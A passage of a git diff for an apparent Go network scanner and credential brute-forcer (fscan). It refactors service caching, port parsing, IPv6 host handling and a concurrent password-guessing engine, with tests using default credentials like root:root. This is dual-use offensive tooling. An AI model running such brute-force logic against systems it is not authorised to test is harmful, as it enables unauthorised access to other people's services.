}{ + {"ssh", 2222, true}, {"ssh", 33060, false}, {"ssh", 8080, false}, + {"mysql", 33060, true}, {"mysql", 2222, false}, + {"redis", 63790, true}, {"redis", 2222, false}, + {"webtitle", 8080, true}, {"webtitle", 2222, false}, + } + + for _, c := range checks { + got := strategy.isPluginApplicableToPortWithHost(c.plugin, host, c.port) + if got != c.want { + t.Errorf("plugin=%q port=%d: got %v, want %v", c.plugin, c.port, got, c.want) + } + } +} + +// ============================================================================= +// 边界测试 +// ============================================================================= + +func TestServiceCache_EdgeCases(t *testing.T) { + clearServiceCache() + registerTestPlugins(t) + strategy := NewServiceScanStrategy() + + t.Run("空服务名不匹配", func(t *testing.T) { + CacheServiceInfo("10.0.0.1", 9999, &ServiceInfo{Name: ""}) + if strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.1", 9999) { + t.Error("空服务名不应匹配") + } + }) + + t.Run("unknown 不匹配", func(t *testing.T) { + CacheServiceInfo("10.0.0.1", 8888, &ServiceInfo{Name: "unknown"}) + if strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.1", 8888) { + t.Error("unknown 不应匹配") + } + }) + + t.Run("大小写不敏感", func(t *testing.T) { + clearServiceCache() + CacheServiceInfo("10.0.0.1", 5555, &ServiceInfo{Name: "SSH"}) + if !strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.1", 5555) { + t.Error("SSH 大写应匹配 ssh 插件") + } + }) + + t.Run("host 为空不查缓存", func(t *testing.T) { + CacheServiceInfo("10.0.0.1", 8881, &ServiceInfo{Name: "ssh"}) + if strategy.isPluginApplicableToPortWithHost("ssh", "", 8881) { + t.Error("host 为空不应匹配") + } + }) + + t.Run("nil ServiceInfo 不 panic", func(t *testing.T) { + CacheServiceInfo("10.0.0.1", 7777, nil) + got := strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.1", 7777) + if got { + t.Error("nil ServiceInfo 不应匹配") + } + }) + + t.Run("IPv6", func(t *testing.T) { + clearServiceCache() + CacheServiceInfo("::1", 22, &ServiceInfo{Name: "ssh"}) + if _, ok := GetCachedServiceInfo("::1", 22); !ok { + t.Error("IPv6 缓存失败") + } + }) +} + +// ============================================================================= +// 并发安全 +// ============================================================================= + +func TestServiceCache_ConcurrentSafety(t *testing.T) { + clearServiceCache() + var wg sync.WaitGroup + + for i := 0; i < 100; i++ { + wg.Add(3) + go func(p int) { defer wg.Done(); CacheServiceInfo("10.0.0.1", p, &ServiceInfo{Name: "ssh"}) }(i) + go func(p int) { defer wg.Done(); GetCachedServiceInfo("10.0.0.1", p) }(i) + go func(p int) { defer wg.Done(); IsMarkedWebService("10.0.0.1", p) }(i) + } + wg.Wait() + + for i := 0; i < 100; i++ { + if _, ok := GetCachedServiceInfo("10.0.0.1", i); !ok { + t.Errorf("并发写入丢失: port=%d", i) + } + } +} + +// ============================================================================= +// 回归测试:#588 +// ============================================================================= + +func TestRegression_Issue588(t *testing.T) { + clearServiceCache() + registerTestPlugins(t) + + CacheServiceInfo("192.168.1.50", 8881, &ServiceInfo{Name: "ssh", Version: "OpenSSH_7.4"}) + strategy := NewServiceScanStrategy() + + if !strategy.isPluginApplicableToPortWithHost("ssh", "192.168.1.50", 8881) { + t.Fatal("#588: SSH 应匹配 8881") + } + for _, p := range []string{"mysql", "ftp", "redis", "postgresql", "telnet", "vnc", "mssql"} { + if strategy.isPluginApplicableToPortWithHost(p, "192.168.1.50", 8881) { + t.Errorf("#588: %q 不应匹配 8881 上的 SSH", p) + } + } +} + +// ============================================================================= +// 端口匹配优先于缓存 +// ============================================================================= + +func TestIntegration_PortMatchPrecedence(t *testing.T) { + clearServiceCache() + registerTestPlugins(t) + + CacheServiceInfo("10.0.0.1", 22, &ServiceInfo{Name: "http"}) + strategy := NewServiceScanStrategy() + + if !strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.1", 22) { + t.Error("SSH 应通过端口匹配命中 22(即使缓存是 http)") + } + if !IsMarkedWebService("10.0.0.1", 22) { + t.Error("缓存是 http,应标记为 Web") + } +} diff --git a/core/service_scanner_test.go b/core/service_scanner_test.go index 13c15c6..c1cd949 100644 --- a/core/service_scanner_test.go +++ b/core/service_scanner_test.go @@ -65,6 +65,16 @@ func TestParsePortList_BasicParsing(t *testing.T) { input: "22,80,443,3306", expected: []int{22, 80, 443, 3306}, }, + { + name: "端口范围", + input: "80-82", + expected: []int{80, 81, 82}, + }, + { + name: "端口和范围混合", + input: "22,80-81", + expected: []int{22, 80, 81}, + }, { name: "空字符串", input: "", @@ -281,7 +291,7 @@ func TestParsePortList_ProductionScenarios(t *testing.T) { t.Run("数据库端口", func(t *testing.T) { input := "3306,5432,1433,27017" - expected := []int{3306, 5432, 1433, 27017} + expected := []int{1433, 3306, 5432, 27017} result := s.parsePortList(input) if !intSlicesEqual(result, expected) { t.Errorf("应该正确解析常见数据库端口") @@ -317,6 +327,13 @@ func TestParsePortList_ProductionScenarios(t *testing.T) { t.Errorf("应该正确解析高端口号") } }) + + t.Run("端口组", func(t *testing.T) { + result := s.parsePortList("web") + if !sliceContains(result, 80) || !sliceContains(result, 443) { + t.Errorf("web端口组应该包含80和443, 实际 %v", result) + } + }) } // TestParsePortList_ReturnValue 测试返回值特性 @@ -330,14 +347,11 @@ func TestParsePortList_ReturnValue(t *testing.T) { } }) - t.Run("端口不重复-但不保证去重", func(t *testing.T) { - // 注意:当前实现不去重,如果用户输入 "22,22",会返回 [22, 22] - // 这是可以接受的,因为上层逻辑会处理重复 + t.Run("重复端口会去重", func(t *testing.T) { input := "22,22" result := s.parsePortList(input) - // 这里我们只测试解析是否正确,不测试去重 - if len(result) != 2 || result[0] != 22 || result[1] != 22 { - t.Errorf("当前实现不去重,应该返回两个22") + if len(result) != 1 || result[0] != 22 { + t.Errorf("重复端口应该去重, 实际 %v", result) } }) } @@ -355,6 +369,15 @@ func intSlicesEqual(a, b []int) bool { return true } +func sliceContains(values []int, target int) bool { + for _, value := range values { + if value == target { + return true + } + } + return false +} + // ============================================================================= // 存活检测判断测试 // ============================================================================= diff --git a/core/tuning_cli_integration_test.go b/core/tuning_cli_integration_test.go new file mode 100644 index 0000000..f1c1611 --- /dev/null +++ b/core/tuning_cli_integration_test.go @@ -0,0 +1,82 @@ +package core + +import ( + "flag" + "os" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" +) + +func TestCLIExplicitDefaultTuningFlagsSurviveTuneConfig(t *testing.T) { + oldArgs := os.Args + oldFlagSet := flag.CommandLine + oldFlagVars := *common.GetFlagVars() + defer func() { + os.Args = oldArgs + flag.CommandLine = oldFlagSet + *common.GetFlagVars() = oldFlagVars + }() + + *common.GetFlagVars() = common.FlagVars{} + flag.CommandLine = flag.NewFlagSet("fscan-test", flag.ContinueOnError) + os.Args = []string{ + "fscan-test", + "-silent", + "-h", "127.0.0.1", + "-time", "3", + "-mt", "20", + "-retry", "3", + "-icmp-rate", "0.1", + "-num", "20", + } + + info := &common.HostInfo{} + if err := common.Flag(info); err != nil { + t.Fatalf("Flag error = %v", err) + } + + cfg, _, err := common.BuildConfig(common.GetFlagVars(), info) + if err != nil { + t.Fatalf("BuildConfig error = %v", err) + } + if !cfg.TimeoutExplicit || !cfg.ModuleThreadNumExplicit || + !cfg.MaxRetriesExplicit || !cfg.Network.ICMPRateExplicit || + !cfg.POC.NumExplicit { + t.Fatalf("explicit flags not propagated: timeout=%v mt=%v retry=%v icmp=%v num=%v", + cfg.TimeoutExplicit, + cfg.ModuleThreadNumExplicit, + cfg.MaxRetriesExplicit, + cfg.Network.ICMPRateExplicit, + cfg.POC.NumExplicit) + } + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvLAN, + RTTMedian: time.Millisecond, + RTTStddev: 200 * time.Microsecond, + LossRate: 0, + Samples: 30, + }, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + ep.TuneConfig(cfg, makeTestSession(cfg)) + + if cfg.Timeout != 3*time.Second { + t.Fatalf("Timeout = %v, want explicit default 3s", cfg.Timeout) + } + if cfg.ModuleThreadNum != 20 { + t.Fatalf("ModuleThreadNum = %d, want explicit default 20", cfg.ModuleThreadNum) + } + if cfg.MaxRetries != 3 { + t.Fatalf("MaxRetries = %d, want explicit default 3", cfg.MaxRetries) + } + if cfg.Network.ICMPRate != 0.1 { + t.Fatalf("ICMPRate = %.2f, want explicit default 0.10", cfg.Network.ICMPRate) + } + if cfg.POC.Num != 20 { + t.Fatalf("POC.Num = %d, want explicit default 20", cfg.POC.Num) + } +} diff --git a/core/web_scanner.go b/core/web_scanner.go index 3522802..e48d5bb 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -204,10 +204,11 @@ func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, sess // 基于服务指纹的Web服务识别 // =============================== -// Web服务缓存 - 简化的全局缓存 +// 服务识别缓存 - 存储所有识别到的服务(不仅限于 Web) +// 端口扫描阶段写入,插件匹配阶段读取 var ( - webServiceCache = make(map[string]*ServiceInfo) - webCacheMutex sync.RWMutex + serviceCache = make(map[string]*ServiceInfo) + serviceCacheMutex sync.RWMutex ) // IsWebServiceByFingerprint 基于服务指纹判断Web服务 - 保持API兼容 @@ -259,28 +260,45 @@ func IsWebServiceByFingerprint(serviceInfo *ServiceInfo) bool { return false } -// MarkAsWebService 标记Web服务 - 保持API兼容 -func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) { +// CacheServiceInfo 缓存识别到的服务信息 +func CacheServiceInfo(host string, port int, serviceInfo *ServiceInfo) { cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) - webCacheMutex.Lock() - defer webCacheMutex.Unlock() + serviceCacheMutex.Lock() + defer serviceCacheMutex.Unlock() - webServiceCache[cacheKey] = serviceInfo + serviceCache[cacheKey] = serviceInfo } -// GetWebServiceInfo 获取Web服务信息 -func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) { +// MarkAsWebService 标记 Web 服务(兼容旧调用) +func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) { + CacheServiceInfo(host, port, serviceInfo) +} + +// GetCachedServiceInfo 获取缓存的服务信息 +func GetCachedServiceInfo(host string, port int) (*ServiceInfo, bool) { cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) - webCacheMutex.RLock() - defer webCacheMutex.RUnlock() + serviceCacheMutex.RLock() + defer serviceCacheMutex.RUnlock() - serviceInfo, exists := webServiceCache[cacheKey] + serviceInfo, exists := serviceCache[cacheKey] return serviceInfo, exists } -// IsMarkedWebService 检查是否已标记为Web服务 +// GetWebServiceInfo 获取 Web 服务信息(兼容旧调用) +func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) { + info, exists := GetCachedServiceInfo(host, port) + if !exists { + return nil, false + } + if !IsWebServiceByFingerprint(info) { + return nil, false + } + return info, true +} + +// IsMarkedWebService 检查是否为 Web 服务 func IsMarkedWebService(host string, port int) bool { _, exists := GetWebServiceInfo(host, port) return exists diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index 54c52c9..3745269 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -440,9 +440,9 @@ func TestCreateTargetFromURL(t *testing.T) { // TestWebServiceCache 测试Web服务缓存操作 func TestWebServiceCache(t *testing.T) { // 清空缓存 - webCacheMutex.Lock() - webServiceCache = make(map[string]*ServiceInfo) - webCacheMutex.Unlock() + serviceCacheMutex.Lock() + serviceCache = make(map[string]*ServiceInfo) + serviceCacheMutex.Unlock() t.Run("存储和读取", func(t *testing.T) { serviceInfo := &ServiceInfo{ @@ -517,9 +517,9 @@ func TestWebServiceCache(t *testing.T) { // TestWebServiceCache_Concurrent 测试并发安全性 func TestWebServiceCache_Concurrent(t *testing.T) { // 清空缓存 - webCacheMutex.Lock() - webServiceCache = make(map[string]*ServiceInfo) - webCacheMutex.Unlock() + serviceCacheMutex.Lock() + serviceCache = make(map[string]*ServiceInfo) + serviceCacheMutex.Unlock() t.Run("不同key并发写入", func(t *testing.T) { var wg sync.WaitGroup diff --git a/libs/grdp/login/screen.go b/libs/grdp/login/screen.go index a994bc8..aa2c44e 100644 --- a/libs/grdp/login/screen.go +++ b/libs/grdp/login/screen.go @@ -176,8 +176,7 @@ func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpP exitFlag := make(chan bool, 1) info = make(map[string]any) - targetSlice := strings.Split(g.Host, ":") - ip := targetSlice[0] + ip := rdpTargetHost(g.Host) conn, err := WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) if err != nil { return @@ -273,3 +272,14 @@ loop: glog.Debug("loop ended, elapsed time: ", time.Since(start)) return info } + +func rdpTargetHost(target string) string { + host, _, err := net.SplitHostPort(target) + if err == nil { + return host + } + if strings.Count(target, ":") == 1 { + return strings.SplitN(target, ":", 2)[0] + } + return target +} diff --git a/libs/grdp/login/screen_test.go b/libs/grdp/login/screen_test.go new file mode 100644 index 0000000..4a38460 --- /dev/null +++ b/libs/grdp/login/screen_test.go @@ -0,0 +1,24 @@ +package login + +import "testing" + +func TestRDPTargetHost(t *testing.T) { + tests := []struct { + name string + target string + want string + }{ + {name: "ipv4 with port", target: "192.168.1.1:3389", want: "192.168.1.1"}, + {name: "hostname with port", target: "rdp.example.com:3389", want: "rdp.example.com"}, + {name: "bracketed ipv6 with port", target: "[2001:db8::1]:3389", want: "2001:db8::1"}, + {name: "bare ipv6 without port", target: "2001:db8::1", want: "2001:db8::1"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := rdpTargetHost(tt.target); got != tt.want { + t.Fatalf("rdpTargetHost(%q) = %q, want %q", tt.target, got, tt.want) + } + }) + } +} diff --git a/plugins/init_test.go b/plugins/init_test.go index 0ac8fd9..f2fdf8d 100644 --- a/plugins/init_test.go +++ b/plugins/init_test.go @@ -192,9 +192,9 @@ func TestGenerateCredentials_PlaceholderReplacement(t *testing.T) { // 验证:{user} 被正确替换 expectedCombos := map[string]string{ - "root:root": "root", // {user} → root - "root:root123": "root", // {user}123 → root123 - "mysql:mysql": "mysql", // {user} → mysql + "root:root": "root", // {user} → root + "root:root123": "root", // {user}123 → root123 + "mysql:mysql": "mysql", // {user} → mysql "mysql:mysql123": "mysql", // {user}123 → mysql123 } @@ -244,7 +244,7 @@ func TestGenerateCredentials_DefaultValues(t *testing.T) { cfg.Credentials.UserPassPairs = []config.CredentialPair{} cfg.Credentials.Userdict = map[string][]string{} // 空字典 - cfg.Credentials.Passwords = []string{} // 空密码列表 + cfg.Credentials.Passwords = []string{} // 空密码列表 result := GenerateCredentials("unknown_service", cfg) @@ -327,3 +327,27 @@ func TestGenerateCredentials_EmptyUserPassPairs(t *testing.T) { t.Logf("✓ 空 UserPassPairs 正确回退到笛卡尔积") } + +func TestBuildConfigAdditionalPasswordsAreNotShadowedByExactPair(t *testing.T) { + cfg, _, err := common.BuildConfig(&common.FlagVars{ + Username: "root", + Password: "primary", + AddPasswords: "extra", + }, &common.HostInfo{}) + if err != nil { + t.Fatalf("BuildConfig error = %v", err) + } + + result := GenerateCredentials("ssh", cfg) + found := map[string]bool{} + for _, cred := range result { + found[cred.Username+":"+cred.Password] = true + } + + if !found["root:primary"] { + t.Fatal("missing primary password credential") + } + if !found["root:extra"] { + t.Fatal("additional password was shadowed by exact user/password pair") + } +} diff --git a/plugins/local/systeminfo_dc_url.go b/plugins/local/systeminfo_dc_url.go new file mode 100644 index 0000000..97acb38 --- /dev/null +++ b/plugins/local/systeminfo_dc_url.go @@ -0,0 +1,11 @@ +package local + +import ( + "fmt" + "net" + "strconv" +) + +func ldapURL(host string, port int) string { + return fmt.Sprintf("ldap://%s", net.JoinHostPort(host, strconv.Itoa(port))) +} diff --git a/plugins/local/systeminfo_dc_url_test.go b/plugins/local/systeminfo_dc_url_test.go new file mode 100644 index 0000000..089065d --- /dev/null +++ b/plugins/local/systeminfo_dc_url_test.go @@ -0,0 +1,24 @@ +package local + +import "testing" + +func TestLDAPURLUsesJoinHostPort(t *testing.T) { + tests := []struct { + name string + host string + port int + want string + }{ + {name: "hostname", host: "dc.example.local", port: 389, want: "ldap://dc.example.local:389"}, + {name: "ipv4", host: "192.168.1.10", port: 389, want: "ldap://192.168.1.10:389"}, + {name: "ipv6", host: "2001:db8::10", port: 389, want: "ldap://[2001:db8::10]:389"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := ldapURL(tt.host, tt.port); got != tt.want { + t.Fatalf("ldapURL(%q, %d) = %q, want %q", tt.host, tt.port, got, tt.want) + } + }) + } +} diff --git a/plugins/local/systeminfo_dc_windows.go b/plugins/local/systeminfo_dc_windows.go index 8dcb55b..9326cf7 100644 --- a/plugins/local/systeminfo_dc_windows.go +++ b/plugins/local/systeminfo_dc_windows.go @@ -82,10 +82,10 @@ func (p *SystemInfoPlugin) connectToDomain(domain string) (*domainInfo, error) { } defer func() { _ = client.Close() }() - conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) + conn, err := ldap.DialURL(ldapURL(dcHost, 389)) if err != nil { if ipv4, resolveErr := resolveIPv4(dcHost); resolveErr == nil { - conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4)) + conn, err = ldap.DialURL(ldapURL(ipv4, 389)) } if err != nil { return nil, fmt.Errorf("LDAP dial: %w", err) diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index fa083fa..b17e646 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -8,6 +8,7 @@ import ( "fmt" "io" "net" + "sync/atomic" "time" "github.com/shadow1ng/fscan/common" @@ -165,20 +166,19 @@ func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.Host // ── CQL wire protocol 工具 ────────────────────────────────────── -var cqlStreamID int16 +var cqlStreamID uint32 + +func nextCQLStreamID() uint16 { + return uint16((atomic.AddUint32(&cqlStreamID, 1) - 1) & 0x7fff) +} func cqlSend(conn net.Conn, opcode byte, body []byte) error { - id := cqlStreamID - if cqlStreamID == 32767 { - cqlStreamID = 0 - } else { - cqlStreamID++ - } + id := nextCQLStreamID() // frame: [1B version|flags] [2B stream] [1B opcode] [4B length] [body] header := make([]byte, 8) header[0] = cqlVersion - binary.BigEndian.PutUint16(header[1:3], uint16(id)) + binary.BigEndian.PutUint16(header[1:3], id) header[3] = opcode binary.BigEndian.PutUint32(header[4:8], uint32(len(body))) diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index 37fed92..f377e67 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -7,6 +7,7 @@ import ( "io" "net" "sync" + "sync/atomic" "time" "github.com/shadow1ng/fscan/common" @@ -61,7 +62,11 @@ type AuthFunc func(ctx context.Context, cred Credential) *AuthResult // ErrorClassifier 错误分类函数 type ErrorClassifier func(err error) ErrorType -var authCleanupWait = 2 * time.Second +var authCleanupWaitNanos int64 = int64(2 * time.Second) + +func authCleanupWait() time.Duration { + return time.Duration(atomic.LoadInt64(&authCleanupWaitNanos)) +} // ============================================================================= // 单凭据测试(解决 goroutine 泄漏) @@ -70,9 +75,36 @@ var authCleanupWait = 2 * time.Second // TestSingleCredential 安全地测试单个凭据 // 正确处理 context 取消时的资源清理 func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) *AuthResult { + if ctx == nil { + ctx = context.Background() + } + if authFn == nil { + return &AuthResult{ + Success: false, + ErrorType: ErrorTypeUnknown, + Error: fmt.Errorf("auth function is nil"), + } + } + if err := ctx.Err(); err != nil { + return &AuthResult{ + Success: false, + ErrorType: ErrorTypeNetwork, + Error: err, + } + } + resultChan := make(chan *AuthResult, 1) go func() { + defer func() { + if r := recover(); r != nil { + resultChan <- &AuthResult{ + Success: false, + ErrorType: ErrorTypeUnknown, + Error: fmt.Errorf("auth function panic: %v", r), + } + } + }() result := authFn(ctx, cred) resultChan <- result }() @@ -83,7 +115,7 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) case <-ctx.Done(): // context 被取消后只做有界等待,避免 authFn 卡死时清理 goroutine 也永久泄漏。 go func() { - timer := time.NewTimer(authCleanupWait) + timer := time.NewTimer(authCleanupWait()) defer timer.Stop() select { @@ -116,15 +148,35 @@ type ConcurrentTestConfig struct { UseProxy bool // 代理模式下跳过直连 TCP 预检 } +func normalizeConcurrentTestConfig(testConfig ConcurrentTestConfig) ConcurrentTestConfig { + if testConfig.Concurrency <= 0 { + testConfig.Concurrency = 10 + } + if testConfig.MaxRetries <= 0 { + testConfig.MaxRetries = 3 + } + if testConfig.RetryDelay <= 0 { + testConfig.RetryDelay = time.Second + } + if testConfig.MaxConsecutiveNetErrors <= 0 { + testConfig.MaxConsecutiveNetErrors = 5 + } + return testConfig +} + // DefaultConcurrentTestConfig 默认配置 func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig { concurrency := config.ModuleThreadNum if concurrency <= 0 { concurrency = 10 } + maxRetries := config.MaxRetries + if maxRetries <= 0 { + maxRetries = 3 + } return ConcurrentTestConfig{ Concurrency: concurrency, - MaxRetries: 3, + MaxRetries: maxRetries, RetryDelay: time.Second, MaxConsecutiveNetErrors: 5, UseProxy: config.Network.Socks5Proxy != "" || config.Network.HTTPProxy != "", @@ -147,6 +199,9 @@ func TestCredentialsConcurrently( serviceName string, testConfig ConcurrentTestConfig, ) *ScanResult { + if ctx == nil { + ctx = context.Background() + } if len(credentials) == 0 { return &ScanResult{ Success: false, @@ -154,11 +209,16 @@ func TestCredentialsConcurrently( Error: fmt.Errorf("%s", i18n.GetText("service_no_test_creds")), } } + testConfig = normalizeConcurrentTestConfig(testConfig) // TCP 预检:快速验证目标可达,避免对不可达目标浪费全部凭据尝试 // 代理模式下跳过:net.DialTimeout 直连无法到达代理后的内网目标 if testConfig.TargetAddr != "" && !testConfig.UseProxy { - preConn, err := net.DialTimeout("tcp", testConfig.TargetAddr, 3*time.Second) + dialCtx, dialCancel := context.WithTimeout(ctx, 3*time.Second) + defer dialCancel() + + var dialer net.Dialer + preConn, err := dialer.DialContext(dialCtx, "tcp", testConfig.TargetAddr) if err != nil { return &ScanResult{ Success: false, @@ -240,10 +300,6 @@ func workerTestCredentials( testConfig ConcurrentTestConfig, ) { consecutiveNetErrors := 0 - maxNetErrors := testConfig.MaxConsecutiveNetErrors - if maxNetErrors <= 0 { - maxNetErrors = 5 - } for cred := range credChan { // 检查是否应该停止 @@ -254,7 +310,7 @@ func workerTestCredentials( } // 连续网络错误达到阈值,目标可能不可达,提前退出 - if consecutiveNetErrors >= maxNetErrors { + if consecutiveNetErrors >= testConfig.MaxConsecutiveNetErrors { return } @@ -292,10 +348,18 @@ func testCredentialWithRetry( // 测试凭据 result := TestSingleCredential(ctx, cred, authFn) + if result == nil { + result = &AuthResult{ + Success: false, + ErrorType: ErrorTypeUnknown, + Error: fmt.Errorf("auth function returned nil result"), + } + } - if result.Success && result.Conn != nil { - // 成功,关闭连接并返回 - _ = result.Conn.Close() + if result.Success { + if result.Conn != nil { + _ = result.Conn.Close() + } return &ScanResult{ Type: plugins.ResultTypeCredential, Success: true, diff --git a/plugins/services/credential_tester_test.go b/plugins/services/credential_tester_test.go index 1e3511e..8827928 100644 --- a/plugins/services/credential_tester_test.go +++ b/plugins/services/credential_tester_test.go @@ -8,6 +8,8 @@ import ( "sync/atomic" "testing" "time" + + "github.com/shadow1ng/fscan/common" ) /* @@ -187,6 +189,84 @@ func TestMatchIgnoreCase(t *testing.T) { // 并发测试 // ============================================================================= +func setAuthCleanupWaitForTest(wait time.Duration) func() { + oldWait := atomic.LoadInt64(&authCleanupWaitNanos) + atomic.StoreInt64(&authCleanupWaitNanos, int64(wait)) + return func() { atomic.StoreInt64(&authCleanupWaitNanos, oldWait) } +} + +func TestDefaultConcurrentTestConfigUsesConfigRetries(t *testing.T) { + cfg := DefaultConcurrentTestConfig(&common.Config{ + ModuleThreadNum: 7, + MaxRetries: 5, + }) + + if cfg.Concurrency != 7 { + t.Fatalf("Concurrency = %d, want 7", cfg.Concurrency) + } + if cfg.MaxRetries != 5 { + t.Fatalf("MaxRetries = %d, want config MaxRetries 5", cfg.MaxRetries) + } +} + +func TestDefaultConcurrentTestConfigRetriesFallback(t *testing.T) { + cfg := DefaultConcurrentTestConfig(&common.Config{ + ModuleThreadNum: 0, + MaxRetries: 0, + }) + + if cfg.Concurrency != 10 { + t.Fatalf("Concurrency = %d, want fallback 10", cfg.Concurrency) + } + if cfg.MaxRetries != 3 { + t.Fatalf("MaxRetries = %d, want fallback 3", cfg.MaxRetries) + } +} + +func TestTestCredentialsConcurrently_ZeroValueConfigStillRuns(t *testing.T) { + var calls atomic.Int32 + authFn := func(ctx context.Context, cred Credential) *AuthResult { + calls.Add(1) + return &AuthResult{Success: true} + } + + result := TestCredentialsConcurrently(context.Background(), []Credential{{Username: "u", Password: "p"}}, authFn, "test", ConcurrentTestConfig{}) + if !result.Success { + t.Fatalf("zero-value config should still test credentials: %v", result.Error) + } + if calls.Load() != 1 { + t.Fatalf("authFn calls = %d, want 1", calls.Load()) + } +} + +func TestTestCredentialsConcurrently_PrecheckHonorsCanceledContext(t *testing.T) { + var calls atomic.Int32 + authFn := func(ctx context.Context, cred Credential) *AuthResult { + calls.Add(1) + return &AuthResult{Success: false} + } + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + start := time.Now() + result := TestCredentialsConcurrently(ctx, []Credential{{Username: "u", Password: "p"}}, authFn, "test", ConcurrentTestConfig{ + Concurrency: 1, + MaxRetries: 1, + TargetAddr: "203.0.113.1:65000", + }) + + if result.Success { + t.Fatal("canceled context should not return success") + } + if calls.Load() != 0 { + t.Fatalf("authFn calls = %d, want 0 when precheck context is canceled", calls.Load()) + } + if elapsed := time.Since(start); elapsed > 200*time.Millisecond { + t.Fatalf("precheck ignored canceled context, elapsed=%v", elapsed) + } +} + // mockConn 模拟连接 type mockConn struct { closed atomic.Bool @@ -336,6 +416,60 @@ func TestTestCredentialsConcurrently_ContextCancel(t *testing.T) { } } +func TestTestCredentialsConcurrently_CancelWithStuckAuthReturnsPromptly(t *testing.T) { + defer setAuthCleanupWaitForTest(20 * time.Millisecond)() + + credentials := make([]Credential, 10) + for i := range credentials { + credentials[i] = Credential{Username: "user", Password: "pass"} + } + + authStarted := make(chan struct{}, len(credentials)) + releaseAuth := make(chan struct{}) + authFn := func(ctx context.Context, cred Credential) *AuthResult { + authStarted <- struct{}{} + <-releaseAuth + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork} + } + + config := ConcurrentTestConfig{ + Concurrency: 3, + MaxRetries: 1, + RetryDelay: time.Millisecond, + } + + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan *ScanResult, 1) + go func() { + done <- TestCredentialsConcurrently(ctx, credentials, authFn, "test", config) + }() + + for i := 0; i < config.Concurrency; i++ { + select { + case <-authStarted: + case <-time.After(time.Second): + close(releaseAuth) + t.Fatalf("authFn started %d workers, want %d", i, config.Concurrency) + } + } + + start := time.Now() + cancel() + select { + case result := <-done: + close(releaseAuth) + if result.Success { + t.Fatal("context取消后不应该返回成功") + } + if elapsed := time.Since(start); elapsed > 200*time.Millisecond { + t.Fatalf("取消后返回过慢: %v", elapsed) + } + case <-time.After(time.Second): + close(releaseAuth) + t.Fatal("authFn 卡住时并发测试没有及时返回") + } +} + // ============================================================================= // 单凭据测试 // ============================================================================= @@ -361,6 +495,49 @@ func TestTestSingleCredential_Success(t *testing.T) { } } +func TestTestSingleCredential_CanceledContextSkipsAuth(t *testing.T) { + var calls atomic.Int32 + authFn := func(ctx context.Context, cred Credential) *AuthResult { + calls.Add(1) + return &AuthResult{Success: true} + } + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + result := TestSingleCredential(ctx, Credential{Username: "admin", Password: "admin"}, authFn) + if result.Success { + t.Fatal("canceled context should not return success") + } + if calls.Load() != 0 { + t.Fatalf("authFn calls = %d, want 0", calls.Load()) + } +} + +func TestTestSingleCredential_NilAuthFunc(t *testing.T) { + result := TestSingleCredential(context.Background(), Credential{Username: "admin", Password: "admin"}, nil) + if result.Success { + t.Fatal("nil authFn should not return success") + } + if result.Error == nil { + t.Fatal("nil authFn should return an error") + } +} + +func TestTestSingleCredential_RecoverAuthPanic(t *testing.T) { + authFn := func(ctx context.Context, cred Credential) *AuthResult { + panic("boom") + } + + result := TestSingleCredential(context.Background(), Credential{Username: "admin", Password: "admin"}, authFn) + if result.Success { + t.Fatal("panic authFn should not return success") + } + if result.Error == nil { + t.Fatal("panic authFn should return an error") + } +} + // TestTestSingleCredential_ContextCancel 测试context取消时的资源清理 func TestTestSingleCredential_ContextCancel(t *testing.T) { conn := &mockConn{} @@ -403,9 +580,7 @@ func TestTestSingleCredential_ContextCancel(t *testing.T) { } func TestTestSingleCredential_ContextCancelCleanupIsBounded(t *testing.T) { - oldWait := authCleanupWait - authCleanupWait = 20 * time.Millisecond - defer func() { authCleanupWait = oldWait }() + defer setAuthCleanupWaitForTest(20 * time.Millisecond)() authStarted := make(chan struct{}) releaseAuth := make(chan struct{}) @@ -480,6 +655,45 @@ func TestRetryLogic_NetworkErrorRetries(t *testing.T) { } } +func TestRetryLogic_SuccessWithoutConn(t *testing.T) { + var attempts atomic.Int32 + authFn := func(ctx context.Context, cred Credential) *AuthResult { + attempts.Add(1) + return &AuthResult{Success: true} + } + + result := TestCredentialsConcurrently(context.Background(), []Credential{{Username: "admin", Password: "admin"}}, authFn, "test", ConcurrentTestConfig{ + Concurrency: 1, + MaxRetries: 3, + }) + if !result.Success { + t.Fatalf("success result without Conn should be accepted: %v", result.Error) + } + if attempts.Load() != 1 { + t.Fatalf("attempts = %d, want 1", attempts.Load()) + } +} + +func 